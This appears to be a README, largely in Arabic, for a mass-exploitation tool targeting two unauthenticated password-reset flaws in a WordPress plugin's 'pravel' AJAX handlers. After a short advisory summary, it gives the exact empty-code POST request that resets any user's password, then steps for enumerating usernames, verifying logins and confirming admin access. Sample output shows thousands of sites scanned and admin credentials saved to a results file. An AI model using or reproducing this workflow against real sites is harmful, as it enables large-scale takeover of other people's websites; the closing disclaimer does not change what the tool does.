
الاستيلاء على الحساب بدون مصادقة عبر ضعف التحقق من إعادة تعيين كلمة المرور عبر معامل 'reset_user_id' | تصعيد الامتيازات بدون مصادقة عبر ضعف التحقق من إعادة تعيين كلمة المرور عبر 'reset_activation_code' مما يؤدي إلى الاستيلاء على الحساب
الاستيلاء على الحساب غير المصادق عليه عبر التحقق الضعيف من إعادة تعيين كلمة المرور عبر معامل 'reset_user_id' | تصعيد الامتيازات غير المصادق عليه عبر التحقق الضعيف من إعادة تعيين كلمة المرور عبر 'reset_activation_code' المؤدي إلى الاستيلاء على الحساب
بقلم: Khaled Alenazi (Nxploited)
تصعيد الامتيازات غير المصادق عليه عبر التحقق الضعيف من إعادة تعيين كلمة المرور
| الحقل | القيمة |
|---|
| CVSS | 9.8 حرج |
| المتجه | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| تاريخ النشر | 23 يونيو 2026 |
| الباحث | Alyudin Nafiie |
تم تسجيل الدالة pravel_change_password() كمعالج wp_ajax_nopriv — يمكن الوصول إليها دون مصادقة. لا تقوم بالتحقق من nonce ولا بفحص الصلاحية. الحارس الوحيد هو مقارنة مساواة فضفاضة بين reset_activation_code المقدم من المهاجم وقيمة forgot_email meta للمستخدم. بالنسبة لأي مستخدم لم يقم مطلقًا بتفعيل إعادة تعيين كلمة المرور، فإن get_user_meta() ترجع سلسلة فارغة، مما يحقق ببساطة '' == '' تجاه رمز محذوف أو فارغ. لذلك يمكن لمهاجم غير مصادق إرسال POST مصمم إلى admin-ajax.php مع action=pravel_change_password و reset_user_id مضبوطًا على أي معرف مستخدم (بما في ذلك حسابات المسؤول) و new_password_custom مضبوطًا على كلمة مرور عشوائية — مما يحقق الاستيلاء الكامل على الحساب.
الاستيلاء على الحساب غير المصادق عليه عبر التحقق الضعيف من إعادة تعيين كلمة المرور
| الحقل | القيمة |
|---|---|
| CVSS | 9.8 حرج |
| المتجه | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| تاريخ النشر | 23 يونيو 2026 |
| الباحث | Alyudin Nafiie |
الدالة pravel_invoice_change_password() معرّضة أيضًا كمعالج AJAX من نوع nopriv بدون nonce ولا فحص تفويض. نفس الالتفاف '' == '' ينطبق: توفير reset_activation_code فارغ ضد مسؤول لم يستخدم مطلقًا تدفق forgot-password يمنح إعادة تعيين فورية لكلمة المرور. المهاجم يتحكم في الهدف عبر reset_user_id والبيانات الجديدة عبر new_password_custom.
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
الطرفية:
[1/5000] https://target.com لا
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com لا
ملف النتائج (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
المتطلبات:
pip install requests rich colorama urllib3
هذه الأداة مقدمة لأغراض البحث الأمني المصرح به واختبار الاختراق فقط.
استخدامها ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني.
المؤلف لا يتحمل أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.
جميع تفاصيل CVE مأخوذة من قواعد بيانات الثغرات العامة.
بقلم: Khaled Alenazi (Nxploited)